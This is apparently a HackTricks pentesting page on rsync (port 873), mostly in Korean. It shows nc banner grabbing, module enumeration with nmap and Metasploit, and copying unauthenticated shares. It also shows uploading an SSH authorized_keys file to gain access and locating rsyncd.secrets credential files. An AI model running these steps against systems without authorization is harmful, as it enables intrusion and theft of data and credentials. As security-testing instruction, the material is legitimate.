873 - Pentesting Rsync

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

기본 정보

From wikipedia:

rsync는 컴퓨터와 외장 하드 드라이브 간, 그리고 네트워크화된 컴퓨터 간에 파일을 효율적으로 전송하고 동기화하는 유틸리티로, 수정 시간과 파일 크기를 비교하여 작동합니다.[3] 일반적으로 유닉스 계열 운영 체제에서 발견됩니다. rsync 알고리즘은 델타 인코딩의 일종이며, 네트워크 사용을 최소화하는 데 사용됩니다. Zlib는 추가적인 데이터 압축에 사용될 수 있으며,[3] SSH 또는 stunnel은 보안을 위해 사용될 수 있습니다.

기본 포트: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

열거

배너 및 수동 통신

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

공유 폴더 열거하기

Rsync 모듈비밀번호로 보호될 수 있는 디렉토리 공유로 인식됩니다. 사용 가능한 모듈을 식별하고 비밀번호가 필요한지 확인하기 위해 다음 명령어를 사용합니다:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

일부 공유가 목록에 나타나지 않을 수 있으며, 이는 숨겨져 있을 수 있습니다. 또한, 일부 공유에 접근하는 것은 특정 자격 증명에 제한될 수 있으며, 이는 "Access Denied" 메시지로 표시됩니다.

수동 Rsync 사용

모듈 목록을 얻은 후, 작업은 인증이 필요한지 여부에 따라 달라집니다. 인증 없이 목록을 작성하고 공유 폴더에서 로컬 디렉토리로 파일을 복사하는 것은 다음을 통해 수행됩니다:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

이 프로세스는 재귀적으로 파일을 전송하며, 파일의 속성과 권한을 유지합니다.

자격 증명을 사용하면 공유 폴더에서 목록을 작성하고 다운로드할 수 있으며, 이때 비밀번호 입력 프롬프트가 나타납니다:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

To upload content, such as an authorized_keys 파일에 대한 액세스를 위해, 사용하십시오:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd 구성 파일을 찾으려면 다음을 실행하십시오:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

이 파일 내에서 secrets file 매개변수는 rsyncd 인증을 위한 사용자 이름과 비밀번호가 포함된 파일을 가리킬 수 있습니다.

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated